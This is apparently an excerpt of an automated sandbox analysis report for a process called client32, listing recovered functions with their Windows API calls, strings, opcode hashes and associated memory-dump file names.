Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction ID: 23015313aa3c4790eb0b31f5809972b43774ae16244dcdf9e0384501427d1f2b
Opcode Fuzzy Hash: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction Fuzzy Hash: 7F519F3560021AAFDB90CF58CC80F9ABBB9FF89744F108559E929DB344D770EA11CB90

Function 11112140 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111216A
__wsplitpath.LIBCMT ref: 11112185

Part of subcall function 11169F04: __splitpath_helper.LIBCMT ref: 11169F46

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111121B9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 71199244ed6d33bf939596fd6a1d73962180ede2ad43d5891037c90b598f2531
Instruction ID: c591a5ba9c17bf4ee1841d59d592da31fd18a085fce33aa04bf57df4da238aa2
Opcode Fuzzy Hash: 71199244ed6d33bf939596fd6a1d73962180ede2ad43d5891037c90b598f2531
Instruction Fuzzy Hash: E4116175A4020CABEB14DF94CD42FE9F778AB48B04F5041D8E6246B1C0E7B02A48CBA5

Function 1109EE00 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F8244,00000001,11142328,_debug,TraceCopyData,00000000,00000000,?,?,00000000,?), ref: 1109EE21
OpenProcessToken.ADVAPI32(00000000,?,?,110F8244,00000001,11142328,_debug,TraceCopyData,00000000,00000000,?,?,00000000,?), ref: 1109EE28

Part of subcall function 1109ED30: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,11030346,?,00000000), ref: 1109ED68
Part of subcall function 1109ED30: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109ED84
Part of subcall function 1109ED30: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,01611D68,01611D68,01611D68,01611D68,01611D68,01611D68,01611D68,111EFB64,?,00000001,00000001), ref: 1109EDB0
Part of subcall function 1109ED30: EqualSid.ADVAPI32(?,01611D68,?,00000001,00000001), ref: 1109EDC3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 1109EE47

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 641b9455226f1aac1b911a8e8f52627aef12e30cb8b5c51eee988bc63af2e0a2
Instruction ID: 92f2080e931b07f8e3ae21524f42d2d018667502f077eef341ad82fca5e9a749
Opcode Fuzzy Hash: 641b9455226f1aac1b911a8e8f52627aef12e30cb8b5c51eee988bc63af2e0a2
Instruction Fuzzy Hash: C8F05E74A01328EFDB08CFE5D99482EB7B8AF08748B40487DE429C3208D632DE00DF50

Function 11110430 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F1908,AB86ACF8,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110464
EnterCriticalSection.KERNEL32(111F1908,AB86ACF8,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110480
LeaveCriticalSection.KERNEL32(111F1908,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 111104C8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction ID: 9bba9b476bfc0c868cb30dd48e950e81aed48164d9983b9afed5b510859fa25d
Opcode Fuzzy Hash: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction Fuzzy Hash: A8118671B4061AAFE7008FA6CDC4B9AF7A8FB4A755F404239E815A7B44E7355804CBE0

Function 11069480 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11069542

Strings

??CTL32.DLL, xrefs: 11069503

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: cf655d8a19676e73a96866a732f5495b69ef782a8a18b6133a21023a43c2cf0f
Instruction ID: 80b6f585093910a847ce346e7da9e0444a9b2d99666d64fa09b423d85774157b
Opcode Fuzzy Hash: cf655d8a19676e73a96866a732f5495b69ef782a8a18b6133a21023a43c2cf0f
Instruction Fuzzy Hash: 9331CF75A046519FE711CF58DC40BAAFBE8FF46724F0482AAE9199B780F771A800CB91

Function 110271A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 110271CD

Strings

?:\, xrefs: 110271C2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: c5edebcb86b8a007a6a1af48cd80f0235394c84cf34213d7754056fe959a7dee
Instruction ID: 6b943fba42bebc5ebf3cfcfc9c23cd16540ffeab11205f7f0861f1320acd89e1
Opcode Fuzzy Hash: c5edebcb86b8a007a6a1af48cd80f0235394c84cf34213d7754056fe959a7dee
Instruction Fuzzy Hash: F7F0BB70C44BD96AFB22CE5484445867FDA4F172A9F64C4DEDCD886501D375D188CB91

Function 110ED520 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED4E0: RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d Opening regkey %s, xrefs: 110ED54A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction ID: 5f226866219d47cdc22a26dd3dbb65f90c8b83d3a621ba21e11ce4a3e0407911
Opcode Fuzzy Hash: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction Fuzzy Hash: D8E092BB6012183FD221961F9C88EEBBB2CDB916A8F01002AFE1487240D972EC00C7B0

Function 110ED4E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d closing regkey %x, xrefs: 110ED4FD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction ID: 17a63c7cb3d890cd37713e3b4debf5197f9ef4f9ed7a9792908d4a56e9be20d3
Opcode Fuzzy Hash: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction Fuzzy Hash: CFE08C7AA025126BE7359A2EAC18F5BBAE8DFC5314F26056EF890C7201EA70C8008764

Function 11146FE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102E424,11026BE0,0157B888,?,?,?,00000100,?,?,00000009), ref: 11146FF9

Part of subcall function 11146270: GetModuleHandleA.KERNEL32(NSMTRACE,11195AD8), ref: 1114628A

Strings

NSMTRACE, xrefs: 11146FF4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: 149a01f821d4e18d225a109ec96b21c3577f6115cbc4ffed0645b8b98fb3f485
Instruction ID: 05ea96992fd141bf150828de6ed923b008e63955592f075fac88204ac5220611
Opcode Fuzzy Hash: 149a01f821d4e18d225a109ec96b21c3577f6115cbc4ffed0645b8b98fb3f485
Instruction Fuzzy Hash: 57D05B76641637CFDF069FB555A0575F7E4EB0AA0D3140075E425C7A06EB61D408C751

Function 110262C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,11030964), ref: 110262C8

Strings

psapi.dll, xrefs: 110262C1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: b8f5042798fcb06a98c932a958d15ff0d02573e45559d2e155fe0703e5da3d60
Instruction ID: e72f5ce5ea606eebe772e5127c5e47cd0fc6cc19585cdbbc80c25ff44c20045f
Opcode Fuzzy Hash: b8f5042798fcb06a98c932a958d15ff0d02573e45559d2e155fe0703e5da3d60
Instruction Fuzzy Hash: 50E009B1A01B258FC3B0CF3AA544642BAF0BB086103118A7ED0AEC3A04F330A5448F80

Function 11015530 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102F63D,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client,Bridge), ref: 1101553E

Strings

nslsp.dll, xrefs: 11015533

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction ID: c3cee1b6b22d45073264887edccfc8dbbb46eef3a7360ad418ef0f3f90be1ef1
Opcode Fuzzy Hash: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction Fuzzy Hash: BBC08C702006245BE3900F48BC04081F694AF04900300882AE070C3600D160A8008F80

Function 11075090 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110750EF
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,0000000B,?), ref: 11075159

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: 4e56bc08cf6d4b85bc31047bf59587d3794f3c6155dff5afacd053865e97b66c
Instruction ID: 75615663fc9b5e204bff5cdf828812fccbd9a8c0715bb2e01743ee940980502e
Opcode Fuzzy Hash: 4e56bc08cf6d4b85bc31047bf59587d3794f3c6155dff5afacd053865e97b66c
Instruction Fuzzy Hash: 28219276E01268A7D710DE95EC41BEFBBBCFB44315F4041AAE90997200EB729A50CBE1

Function 11060820 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 110608C3
__CxxThrowException@8.LIBCMT ref: 110608D8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

